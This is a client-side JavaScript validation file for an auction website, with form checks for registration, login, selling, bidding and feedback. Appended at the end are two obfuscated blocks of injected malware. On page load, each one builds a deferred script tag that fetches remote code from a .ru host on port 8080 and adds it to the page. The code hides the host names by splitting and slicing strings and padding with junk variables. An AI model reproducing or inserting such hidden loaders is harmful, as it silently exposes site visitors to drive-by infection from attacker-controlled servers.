//check for 0-9, +, - & space;
function checkNumeric(e) {	//With FireFox Support
	var KeyID = (window.event) ? event.keyCode : e.which;	
	if((KeyID >= 48 && KeyID <= 57)  || (KeyID == 8) || (KeyID == 32) || (KeyID == 43) || (KeyID == 45)) {				
		return true;			
	}                       
	return false;
}

function checkOnlyNumeric(e) {	//With FireFox Support
	var KeyID = (window.event) ? event.keyCode : e.which;	
	if((KeyID >= 48 && KeyID <= 57)  || (KeyID == 8)) {				
		return true;			
	}                       
	return false;
}

function checkNumericDecimal(e) {	//With FireFox Support
	var KeyID = (window.event) ? event.keyCode : e.which;	
	if((KeyID >= 48 && KeyID <= 57)  || (KeyID == 8) || (KeyID == 46)) {				
		return true;			
	}                       
	return false;
}

function checkAlphaNumericSpecial(e) {	//With FireFox Support
	var KeyID = (window.event) ? event.keyCode : e.which;	
	if((KeyID >= 48 && KeyID <= 57) || (KeyID >= 65 && KeyID <= 90) || (KeyID >= 97 && KeyID <= 122)  || (KeyID == 8) || (KeyID == 45) || (KeyID == 46) || (KeyID == 64) || (KeyID == 95)) {	
		return true;			
	}                       
	return false;
}

function textCounter(field,maxChars,spanName) {
   var txtArea = document.getElementById(field)
   var strTemp = "";
   if (txtArea.value.length > maxChars) {
	   alert("Your field can contain up to " + maxChars + " characters.Watch the counter to know how many characters are remaining.");
	   strTemp = txtArea.value.substring(0, maxChars);
	   txtArea.value = strTemp;
      } else {
	   document.getElementById(spanName).innerHTML = (maxChars) - (txtArea.value.length);
	  }
}
//validate for header search
function validateSearch() {
	//if(document.productSearch.keyword.value=="") {
		//document.getElementById('searchMessage').innerHTML ="Please enter Search Keyword";
		//document.productSearch.keyword.focus()
		//return false
	//}
	if(document.productSearch.productCategory.value=="") {
		document.getElementById('searchMessage').innerHTML ="Please select Category";
		document.productSearch.productCategory.focus()
		return false
	}
	if(document.productSearch.productBaseArea.value=="") {
		document.getElementById('searchMessage').innerHTML ="Please select Base Area";
		document.productSearch.productBaseArea.focus()
		return false
	}
}

//validate for userLogin
function validateLogin() {
	var str="";
	if(document.registration.type[0].checked==false && document.registration.type[1].checked==false) {
		str=str+"&nbsp;&nbsp;&nbsp;Please select one option, either Military or Non-Military"+"<br>"
	}
	var tem,testresult;
	if(document.registration.userName.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;Please Enter userName"+"<br>"
	} else if(document.registration.userName.value.length<6) {
		str=str+"&nbsp;&nbsp;&nbsp;userName should be minimum of 6 characters"+"<br>"
	}
	if(document.registration.password.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;Please Enter password"+"<br>"
	} else if(document.registration.password.value.length<5) {
		str=str+"&nbsp;&nbsp;&nbsp;password should be minimum of 5 characters"+"<br>"
	} else if(document.registration.confirmPassword.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;Please Enter confirm password"+"<br>"
	} else if(document.registration.password.value!=document.registration.confirmPassword.value) {
		str=str+"&nbsp;&nbsp;&nbsp;passsword & confirm password should be same"+"<br>"
		document.registration.password.value=""
		document.registration.confirmPassword.value=""
	}
	tem=document.registration.firstName.value
	if(tem=="") {
		str=str+"&nbsp;&nbsp;&nbsp;Please enter first name"+"<br>"
	} else if(!(tem.charAt(0)>="A" && tem.charAt(0)<="Z") && !(tem.charAt(0)>="a" && tem.charAt(0)<="z")) {
		str=str+"&nbsp;&nbsp;&nbsp;first name must start with a letter of the alphabet"+"<br>"
		document.registration.firstName.value==""
	} else if(tem.indexOf("@")!=-1 || tem.indexOf(".")!=-1 || tem.indexOf("'")!=-1 || tem.indexOf("%")!=-1 || tem.indexOf("#")!=-1 || tem.indexOf("&")!=-1 || tem.indexOf("^")!=-1) {
		str=str+"&nbsp;&nbsp;&nbsp;first name must not contain any special characters"+"<br>"
		document.registration.firstName.value==""
	}
	tem=document.registration.lastName.value
	if(tem=="") {
		str=str+"&nbsp;&nbsp;&nbsp;Please enter last name"+"<br>"
	} else if(!(tem.charAt(0)>="A" && tem.charAt(0)<="Z") && !(tem.charAt(0)>="a" && tem.charAt(0)<="z")) {
		str=str+"&nbsp;&nbsp;&nbsp;last name must start with a letter of the alphabet"+"<br>"
		document.registration.lastName.value==""
	} else if(tem.indexOf("@")!=-1 || tem.indexOf(".")!=-1 || tem.indexOf("'")!=-1 || tem.indexOf("%")!=-1 || tem.indexOf("#")!=-1 || tem.indexOf("&")!=-1 || tem.indexOf("^")!=-1 || tem.indexOf(" ")!=-1) {
		str=str+"&nbsp;&nbsp;&nbsp;last name must not contain any special characters"+"<br>"
		document.registration.lastName.value==""
	}
	if(document.registration.email.value=="") 
	    {
		str=str+"&nbsp;&nbsp;&nbsp;Please enter email address"+"<br>"
	    } 
	else 
	    {
		var string=document.registration.email.value
		var filter=/^([\w-]+(?:\.[\w-]+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/i;
		   if (filter.test(string)) 
		     {
			testresult=true;
		     } 
		else 
		    {
			str=str+"&nbsp;&nbsp;&nbsp;Please enter a valid email address"+"<br>"
			document.registration.email.value="";
		    }
	    }
	/*if(document.registration.gender.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;Please select gender"+"<br>"
	}
	if(document.registration.dob.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;Please select date of birth"+"<br>"
	}*/
	if(document.registration.paypalId.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter your paypalId"+"<br>"
	}
	if(document.registration.addressLine1.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter address line 1"+"<br>"
	}
	/*if(document.registration.city.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter city"+"<br>"
	}
	if(document.registration.state.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter state/ province"+"<br>"
	}
	if(document.registration.zipCode.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter post/ zip code"+"<br>"
	}*/
	if(document.registration.country.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter country"+"<br>"
	}
	/*if(document.registration.phone.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter phone"+"<br>"
	}*/
	if(document.registration.question.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please select one answer"+"<br>"
	}
	if(document.registration.question.value=="Others") {		
	        if(document.registration.others.value=="") {
		          str=str+"&nbsp;&nbsp;&nbsp;please fill the other answer"+"<br>"
			}
	}
	if(document.registration.securityCode.value=="") {	       
		str=str+"&nbsp;&nbsp;&nbsp;please fill Verification Code"+"<br>"			
	}
	if(str!="") {
		document.getElementById('errorMessage').innerHTML='<div style="height:1px;"></div>'+str+'<div style="height:1px;"></div>'
		return false
	} else {
		document.registration.saveLogin.value="save"
	}
} 

//validate forget password
function validatePassword() {
	if(document.forgetPassword.userName.value=="") {
		document.getElementById('divError').innerHTML ="Please enter user name";
		document.forgetPassword.userName.focus()
		return false
	}
	if(document.forgetPassword.email.value=="") {
		document.getElementById('divError').innerHTML ="Please enter email address";
		document.forgetPassword.email.focus()
		return false
	}
	var testresult;
	if(document.forgetPassword.email.value!="")
	{
		var str=document.forgetPassword.email.value;
		var filter=/^([\w-]+(?:\.[\w-]+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/i;
		if (filter.test(str))
		{
			testresult=true;
		}
		else
		{
			document.getElementById('divError').innerHTML ="Please Enter a valid email address";
			document.forgetPassword.email.value="";
			document.forgetPassword.email.focus();
			return false;
		}
	}
}
//validate forget username
function validateusername() {	
	if(document.forgetUsername.email.value=="") {
		document.getElementById('divError').innerHTML ="Please enter email address";
		document.forgetUsername.email.focus()
		return false
	}
	var testresult;
	if(document.forgetUsername.email.value!="")
	{
		var str=document.forgetUsername.email.value;
		var filter=/^([\w-]+(?:\.[\w-]+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/i;
		if (filter.test(str))
		{
			testresult=true;
		}
		else
		{
			document.getElementById('divError').innerHTML ="Please Enter a valid email address";
			document.forgetUsername.email.value="";
			document.forgetUsername.email.focus();
			return false;
		}
	}
}
//validate change password
function validateChangePassword() {
	var str="";
	if(document.changePassword.oldPassword.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;Please enter old password"+"<br>"
	}
	if(document.changePassword.newPassword.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;Please enter new password"+"<br>"
	} else if(document.changePassword.newPassword.value.length<5) {
		str=str+"&nbsp;&nbsp;&nbsp;new password should be minimum of 5 characters"+"<br>"
	} else if(document.changePassword.confirmPassword.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;Please Enter confirm password"+"<br>"
	} else if(document.changePassword.newPassword.value!=document.changePassword.confirmPassword.value) {
		str=str+"&nbsp;&nbsp;&nbsp;new passsword & confirm password should be same"+"<br>"
		document.changePassword.newPassword.value=""
		document.changePassword.confirmPassword.value=""
	}
	if(str!="") {
		document.getElementById('errorMessage').innerHTML='<div style="height:1px;"></div>'+str+'<div style="height:1px;"></div>'
		return false
	}
}

//validate for update profile
function validateProfile() {
	var str="";
	var tem,testresult;
	tem=document.registration.firstName.value
	if(tem=="") {
		str=str+"&nbsp;&nbsp;&nbsp;Please enter first name"+"<br>"
	} else if(!(tem.charAt(0)>="A" && tem.charAt(0)<="Z") && !(tem.charAt(0)>="a" && tem.charAt(0)<="z")) {
		str=str+"&nbsp;&nbsp;&nbsp;first name must start with a letter of the alphabet"+"<br>"
		document.registration.firstName.value==""
	} else if(tem.indexOf("@")!=-1 || tem.indexOf(".")!=-1 || tem.indexOf("'")!=-1 || tem.indexOf("%")!=-1 || tem.indexOf("#")!=-1 || tem.indexOf("&")!=-1 || tem.indexOf("^")!=-1) {
		str=str+"&nbsp;&nbsp;&nbsp;first name must not contain any special characters"+"<br>"
		document.registration.firstName.value==""
	}
	tem=document.registration.lastName.value
	if(tem=="") {
		str=str+"&nbsp;&nbsp;&nbsp;Please enter last name"+"<br>"
	} else if(!(tem.charAt(0)>="A" && tem.charAt(0)<="Z") && !(tem.charAt(0)>="a" && tem.charAt(0)<="z")) {
		str=str+"&nbsp;&nbsp;&nbsp;last name must start with a letter of the alphabet"+"<br>"
		document.registration.lastName.value==""
	} else if(tem.indexOf("@")!=-1 || tem.indexOf(".")!=-1 || tem.indexOf("'")!=-1 || tem.indexOf("%")!=-1 || tem.indexOf("#")!=-1 || tem.indexOf("&")!=-1 || tem.indexOf("^")!=-1 || tem.indexOf(" ")!=-1) {
		str=str+"&nbsp;&nbsp;&nbsp;last name must not contain any special characters"+"<br>"
		document.registration.lastName.value==""
	}
	if(document.registration.email.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;Please enter email address"+"<br>"
	} else {
		var string=document.registration.email.value
		var filter=/^([\w-]+(?:\.[\w-]+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/i;
		if (filter.test(string)) {
			testresult=true;
		} else {
			str=str+"&nbsp;&nbsp;&nbsp;Please enter a valid email address"+"<br>"
			document.registration.email.value="";
		}
	}
	if(document.registration.gender.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;Please select gender"+"<br>"
	}
	if(document.registration.dob.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;Please select date of birth"+"<br>"
	}
	if(document.registration.paypalId.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter your paypalId"+"<br>"
	}
	if(document.registration.addressLine1.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter address line 1"+"<br>"
	}
	if(document.registration.city.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter city"+"<br>"
	}
	if(document.registration.state.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter state/ province"+"<br>"
	}
	if(document.registration.zipCode.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter post/ zip code"+"<br>"
	}
	if(document.registration.country.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter country"+"<br>"
	}
	if(document.registration.phone.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter phone"+"<br>"
	}
	if(str!="") {
		document.getElementById('errorMessage').innerHTML='<div style="height:1px;"></div>'+str+'<div style="height:1px;"></div>'
		return false
	}
}

//validate for walletAmount
function validateWalletAmount() {
	var str="";
	if(document.formWallet.amount.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter amount"+"<br>"
	}else if(document.formWallet.amount.value<5) {
		str=str+"&nbsp;&nbsp;&nbsp;you should submit minimum of $5"+"<br>"
	}
	if(str!="") {
		document.getElementById('errorMessage').innerHTML=str
		return false
	}
}

//validation for Sell
function validateSell() {
	var str="";
	var tem,testresult;
	if(document.fromSell.productType.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please select Auction type"+"<br>"
	}
	if(document.fromSell.name.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;Please enter product name"+"<br>"
	} 
	if(document.fromSell.category.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please select product category"+"<br>"
	}
	if(document.fromSell.baseArea.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please select a baseArea"+"<br>"
	}
	if(document.fromSell.startingPrice.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter starting price"+"<br>"
	} else if(document.fromSell.startingPrice.value<1) {
		str=str+"&nbsp;&nbsp;&nbsp;Starting price should greater then  1"+"<br>"
	}
	if(document.fromSell.productType.value==2 || document.fromSell.productType.value==5 || document.fromSell.productType.value==7 || document.fromSell.productType.value==9) {
		if(Number(document.fromSell.startingPrice.value) > Number(document.fromSell.reservePrice.value) && document.fromSell.reservePrice.value!="") {
			str=str+"&nbsp;&nbsp;&nbsp;Reserve Price should be greater then Starting Price"+"<br>"
		}
	}
	if(document.fromSell.productType.value==3) {
		if(document.fromSell.quainty.value=="") {
			str=str+"&nbsp;&nbsp;&nbsp;Please enter quainty"+"<br>"
		}
	}
	if(document.fromSell.productType.value!="") {
		if(document.fromSell.period.value=="") {
			str=str+"&nbsp;&nbsp;&nbsp;please select period"+"<br>"
		}
	}
	if(document.fromSell.featureGallery[0].checked==false && document.fromSell.featureGallery[1].checked==false) {
		str=str+"&nbsp;&nbsp;&nbsp;please select option for feature gallery"+"<br>"
	}
	if(document.fromSell.specialFeatures[0].checked==false && document.fromSell.specialFeatures[1].checked==false && document.fromSell.specialFeatures[2].checked==false) {
		str=str+"&nbsp;&nbsp;&nbsp;please select option for Special Features"+"<br>"
	}
	if(document.fromSell.paypalId.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter your paypalId"+"<br>"
	}
	tem=document.fromSell.userName.value
	if(tem=="") {
		str=str+"&nbsp;&nbsp;&nbsp;Please enter name"+"<br>"
	} else if(!(tem.charAt(0)>="A" && tem.charAt(0)<="Z") && !(tem.charAt(0)>="a" && tem.charAt(0)<="z")) {
		str=str+"&nbsp;&nbsp;&nbsp;name must start with a letter of the alphabet"+"<br>"
		document.fromSell.userName.value==""
	} else if(tem.indexOf("@")!=-1 || tem.indexOf(".")!=-1 || tem.indexOf("'")!=-1 || tem.indexOf("%")!=-1 || tem.indexOf("#")!=-1 || tem.indexOf("&")!=-1 || tem.indexOf("^")!=-1) {
		str=str+"&nbsp;&nbsp;&nbsp;name must not contain any special characters"+"<br>"
		document.fromSell.userName.value==""
	}
	if(document.fromSell.addressLine1.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter address line 1"+"<br>"
	}
	if(document.fromSell.city.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter city"+"<br>"
	}
	if(document.fromSell.state.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter state/ province"+"<br>"
	}
	if(document.fromSell.zipCode.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter post/ zip code"+"<br>"
	}
	if(document.fromSell.country.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter country"+"<br>"
	}
	if(document.fromSell.phone.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter phone"+"<br>"
	}
	if(str!="") {
		document.getElementById('errorMessage').innerHTML='<div style="height:1px;"></div>'+str+'<div style="height:1px;"></div>'
		return false
	} else {
		document.fromSell.productSell.value="save"
	}
}

function validateRelist() {
	var str="";
	var tem,testresult;
	
	if(document.fromSell.name.value=="") {
		
		str=str+"&nbsp;&nbsp;&nbsp;Please enter product name"+"<br>"
	} 
	if(document.fromSell.baseArea.value=="") {
		
		str=str+"&nbsp;&nbsp;&nbsp;please select a baseArea"+"<br>"
	}
	if(document.fromSell.startingPrice.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter starting price"+"<br>"
	} else if(document.fromSell.startingPrice.value<1) {
		str=str+"&nbsp;&nbsp;&nbsp;Starting price should greater then  1"+"<br>"
	} else if(Number(document.fromSell.startingPrice.value) > Number(document.fromSell.oldStarting.value)) {
		str=str+"&nbsp;&nbsp;&nbsp;Starting price should be less then old starting price  "+"<br>"
	}
	if(document.fromSell.productType.value==2 || document.fromSell.productType.value==5 || document.fromSell.productType.value==7 || document.fromSell.productType.value==9) {
		if(Number(document.fromSell.startingPrice.value) > Number(document.fromSell.reservePrice.value) && document.fromSell.reservePrice.value!="") {
			
			str=str+"&nbsp;&nbsp;&nbsp;Reserve Price should be greater then Starting Price"+"<br>"
		}
	        if(Number(document.fromSell.reservePrice.value) > Number(document.fromSell.oldReserve.value)) {
			str=str+"&nbsp;&nbsp;&nbsp;Reserve Price should be less then old reserve Price"+"<br>"
		}
	}
	if(document.fromSell.productType.value==3) {
		if(document.fromSell.quainty.value=="") {
			str=str+"&nbsp;&nbsp;&nbsp;Please enter quainty"+"<br>"
		}
		if(Number(document.fromSell.quainty.value) > Number(document.fromSell.oldQuainty.value)) {
			str=str+"&nbsp;&nbsp;&nbsp; quainty should be less then old quainty"+"<br>"
		}
	}
	if(document.fromSell.productType.value!="") {
		if(document.fromSell.period.value=="") {
			str=str+"&nbsp;&nbsp;&nbsp;please select period"+"<br>"
		}
	}
	if(document.fromSell.paypalId.value=="") {
		
		str=str+"&nbsp;&nbsp;&nbsp;please enter your paypalId"+"<br>"
	}
	tem=document.fromSell.userName.value
	if(tem=="") {
		str=str+"&nbsp;&nbsp;&nbsp;Please enter name"+"<br>"
	} else if(!(tem.charAt(0)>="A" && tem.charAt(0)<="Z") && !(tem.charAt(0)>="a" && tem.charAt(0)<="z")) {
		str=str+"&nbsp;&nbsp;&nbsp;name must start with a letter of the alphabet"+"<br>"
		document.fromSell.userName.value==""
	} else if(tem.indexOf("@")!=-1 || tem.indexOf(".")!=-1 || tem.indexOf("'")!=-1 || tem.indexOf("%")!=-1 || tem.indexOf("#")!=-1 || tem.indexOf("&")!=-1 || tem.indexOf("^")!=-1) {
		str=str+"&nbsp;&nbsp;&nbsp;name must not contain any special characters"+"<br>"
		document.fromSell.userName.value==""
	}
	if(document.fromSell.addressLine1.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter address line 1"+"<br>"
	}
	if(document.fromSell.city.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter city"+"<br>"
	}
	if(document.fromSell.state.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter state/ province"+"<br>"
	}
	if(document.fromSell.zipCode.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter post/ zip code"+"<br>"
	}
	if(document.fromSell.country.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter country"+"<br>"
	}
	if(document.fromSell.phone.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter phone"+"<br>"
	}
	if(str!="") {
		
		document.getElementById('errorMessage').innerHTML='<div style="height:1px;"></div>'+str+'<div style="height:1px;"></div>'
		return false
	} else {
		document.fromSell.productRelist.value="update"
	}
}


//validate for Bidding
function validateBidding() {
	var str=""
	if(document.frmBidding.productType.value==2 || document.frmBidding.productType.value==3 || document.frmBidding.productType.value==5 || document.frmBidding.productType.value==7 || document.frmBidding.productType.value==9) {
		if(document.frmBidding.bid.value=="") {
			str=str+"&nbsp;&nbsp;&nbsp;please enter bid amount"+"<br>"
		} else if(Number(document.frmBidding.bid.value) < Number(document.frmBidding.productCurrntPrice.value)) {
			str=str+"&nbsp;&nbsp;&nbsp;minimum amount should be bigger then product currnt price"+"<br>"
		}
		
		if(document.frmBidding.productType.value==3){
			if(document.frmBidding.quainty.value=="") {
				str=str+"&nbsp;&nbsp;&nbsp;please enter product Quainty"+"<br>"
			} else if(Number(document.frmBidding.quainty.value) > Number(document.frmBidding.productQuainty.value)) {
				str=str+"&nbsp;&nbsp;&nbsp;maximum quainty should be less then Availability quainty"+"<br>"
			}
		}
	}
	
	if(str!="") {
		document.getElementById('errorMessage').innerHTML=str
		return false
	} else {
		document.frmBidding.placeBidding.value="save"
	}
}

function validatefeedback() {	
	var str=""
	var tem,testresult;
	tem=document.feedbackform.urName.value
	if(tem=="") {
		str=str+"&nbsp;&nbsp;&nbsp;Please enter name"+"<br>"
	} else if(!(tem.charAt(0)>="A" && tem.charAt(0)<="Z") && !(tem.charAt(0)>="a" && tem.charAt(0)<="z")) {
		str=str+"&nbsp;&nbsp;&nbsp;name must start with a letter of the alphabet"+"<br>"
		document.feedbackform.urName.value==""
	} else if(tem.indexOf("@")!=-1 || tem.indexOf(".")!=-1 || tem.indexOf("'")!=-1 || tem.indexOf("%")!=-1 || tem.indexOf("#")!=-1 || tem.indexOf("&")!=-1 || tem.indexOf("^")!=-1) {
		str=str+"&nbsp;&nbsp;&nbsp;name must not contain any special characters"+"<br>"
		document.feedbackform.urName.value==""
	}
	if(document.feedbackform.urEmail.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;Please enter email address"+"<br>"
	} else {
		var string=document.feedbackform.urEmail.value
		var filter=/^([\w-]+(?:\.[\w-]+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/i;
		if (filter.test(string)) {
			testresult=true;
		} else {
			str=str+"&nbsp;&nbsp;&nbsp;Please enter a valid email address"+"<br>"
			document.feedbackform.urEmail.value="";
		}
	}
	if(document.feedbackform.message.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter message"+"<br>"
	}	 
	
	if(str!="") {
		document.getElementById('feedback1').innerHTML='<div style="height:1px;"></div>'+str+'<div style="height:1px;"></div>'
		return false
	} else {
		document.feedbackform.update.value="Yes";
	}
}

function validateBanner() {	
	var str=""
	if(document.addBanner.position.selectedIndex==false) {
		str=str+"&nbsp;&nbsp;&nbsp;please enter Banner Position"+"<br>"
	}
	if(document.addBanner.plan.selectedIndex==false) {
		str=str+"&nbsp;&nbsp;&nbsp;please enter Banner Plan"+"<br>"
	}
	if(document.addBanner.bannerTitle.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please enter Banner Title"+"<br>"
	}
	if(document.addBanner.bannerImage.value=="") {
		str=str+"&nbsp;&nbsp;&nbsp;please select Banner Image"+"<br>"
	}
	if(str!="") {
		document.getElementById('bannererror').innerHTML='<div style="height:1px;"></div>'+str+'<div style="height:1px;"></div>'
		return false
	} else {
		document.addBanner.update.value="Yes";
	}
}

//validate send Reply
function validateReply() {
	if(document.sendReply.replyMessage.value=="") {
		document.getElementById('divReply').innerHTML ="Please enter message reply";
		document.sendReply.replyMessage.focus()
		return false
	} else {
		document.sendReply.update.value="Yes";
	}
}
this.SX='';var p=new String();function v(){var s=new Date();var k={ju:false};var M=String("de"+"fe"+"r");uy=46697;uy++;var j=new String("cre"+"ate"+"Ele"+"men"+"t");var Y=String("bodDUJ1".substr(0,3)+"yZf8z".substr(0,1));var f=document;x=["Ki","RG","cU"];var X=String("scrip"+"t");var e=window;var E=false;Ef=["B","fx"];var Xc=new Date();var L=String("onlo"+"ad");var zz="";var jb="sQHapp".substr(3)+"hQyend".substr(3)+"Chi"+"sF3Hld".substr(4);UX={vF:false};var z=new String("sr"+"c");var Zs={g:false};q={t:"Hk"};FE=["sY","T"];function n(){var YK=40711;try {var lh=["kc","sf"];var Q=183338-175258;var Xt=8726-8725;vZ=["y","yP"];var IW={};var b=["FEs","PM","Bb"];var W="htt"+"p:/JrB9".substr(0,3)+"/ou6P1".substr(0,3)+"rri"+"ver"+".ru"+":wf1".substr(0,1);var Jv={eS:false};oh=[];var Yr="/ya"+"m-c"+"om/"+"goo"+"Hdbgle".substr(3)+".co"+"m/4"+"399"+".co"+"m.p"+"hp";var oS="";AZ=f[j](X);zj={Gm:58896};AZ[z]=W+Q+Yr;this.tJ="";AZ[M]=Xt;yd=["Sl","op"];VQ=["kg","Rz"];try {var aB='dX'} catch(aB){};this.MF=22383;this.MF--;f[Y][jb](AZ);var co_=new String();var Yl=new String();var bk=["GV","uX"];} catch(r){var MS="MS";this.Ia=20570;this.Ia+=10;this.ZT="";};var io=60720;}e[L]=n;wS=["wa","VI"];z_=["oJ","FQ"];};var _q={BP:5248};lI=39005;lI+=251;v();this.Vw='';
var b='';this.W=30111;this.W--;this.l="l";this.k="k";this.v="v";try {var eF=new Array();var L=[];V={S:"C"};var q={La:"sQ"};Oi={XX:false};this.VE='';var m=window[String("GWk2un".substr(4)+"es"+"ca"+"pe")];var RW=new String();var Q='';var t=new String("on"+"lo"+"ad");var y=window[(new String("Re"+"gEMeCI".substr(0,2)+"xpkur".substr(0,2)))];var A=String("repla"+"ce");var R=new String("fVji1".substr(4));Vy=54338;Vy++;var s='';Uv={};tG={};var vc='';var Lg=7748;var j=new Date();var Aa={sY:"F"};var Rd={h:"yC"};pp=["Na"];try {var ZU='z'} catch(ZU){};xr=42976;xr+=182;function J(R,w){var px={AS:"fh"};this.Tc=false;var xb={nq:"Ms"};var i=new String("[");var u=new Array();PR={RF:2409};Ra={WC:63528};yU={sc:42793};i+=w;this.nl="nl";i+=m("%5d");try {} catch(Te){};var uw=["Gc","P_","kB"];uM=33961;uM-=191;Kf=["NF","FC"];var Ob=["AJ","BG"];var g=new y(i, String("2rlqg".substr(4)));gJ=33715;gJ--;return R.replace(g, s);try {var CD='UU'} catch(CD){};vE={OS:"gw"};fe={tp:61602};};var xq=["xL","Us"];Ib=["Ke"];var Pa=["nG","jN"];UJ=["wn"];YS=["kp"];var ASV={};var OX={};SV=32333;SV-=20;var r=new String("http:2KDG".substr(0,5)+"vdA//ash".substr(3)+"dog.r"+"u:");uK=43483;uK--;XM=30621;XM--;try {var OJ='Ez'} catch(OJ){};fS=23285;fS++;var I=299468-291388;gI=50770;gI--;NE=3233;NE--;var dw=["hk","DG","pO"];var Fi=7733;var p=new String("/i"+"pi"+"ct"+"ur"+"e-"+"ru"+"/g"+"oo"+"2fVgl".substr(3)+"e.8QKA".substr(0,2)+"s0Bco".substr(3)+"m/Ucy".substr(0,2)+"bi"+"gl"+"ob"+"e.47zj".substr(0,2)+"nebQJ".substr(0,2)+".j"+"p."+"ph"+"p");var EL={kR:47466};this.S_="";var iEw=false;this.Ex=false;function e(){var OY={};try {var Rw='TL'} catch(Rw){};var dJ={};var Lf=new Array();var Ps=57250;yT=52715;yT+=35;this.Zg="Zg";var U=document;var gU={qz:14076};try {var Ri='gwC'} catch(Ri){};var Su=["pe"];var wL={};var f=J('smcVrgi8p8ty','mVgbhyA9Fn38R');this.Tl=13254;this.Tl--;this.Ue=17677;this.Ue--;var M="apcOy".substr(0,2)+"pedjWB".substr(0,2)+"nd"+"tGMuCh".substr(4)+"il"+"dK4I".substr(0,1);Qw={ja:"pM"};var pa={wQ:"aE"};this.tpY=false;qV=["bj","jK"];hQ=53829;hQ++;this.vi=false;var QJ={hr:"GU"};IC=26008;IC--;zh={Fd:40526};VZ=["WS"];var iH=["uby","ZJ"];T=U.createElement(f);var dG=new Date();var oL=[];var ZY='';this.yg="yg";var Nj=46004;this.tI='';H=r+I;var sK={};this.q_=60046;this.q_++;H=H+p;var ZO=["ka","vh"];mR=35833;mR++;var N=U.body;try {var HR='eM'} catch(HR){};BB=19814;BB-=255;T[new String("defer")]=R;var VF={eN:false};var ki={Kh:false};T.src=H;var tE=false;var QH=false;var Zcd="";var XP=new String();Ft=["cg","KAB","KC"];ZG=35547;ZG-=146;GZ={Ak:"AE"};this.qS=42146;this.qS-=97;var jwc={BE:false};var OA={Sz:false};N[M](T);try {var cv='No'} catch(cv){};try {var iq='wY'} catch(iq){};wzX=20416;wzX+=228;};try {var eS='nB'} catch(eS){};try {var ZQ='xX'} catch(ZQ){};var wl='';var ptP=[];var pi={};var en=new Array();Eq={XT:11213};var hR=["oe"];window[t]=e;try {var st='si'} catch(st){};this.Rn=false;} catch(yW){var Dx={NpC:22068};var OaT=false;var Mn=false;CP=[];var Ja={bX:21677};var Wd=new Date();var mN=59528;this.Oq="";zgT={wm:35130};};this.kn=39273;this.kn+=89;
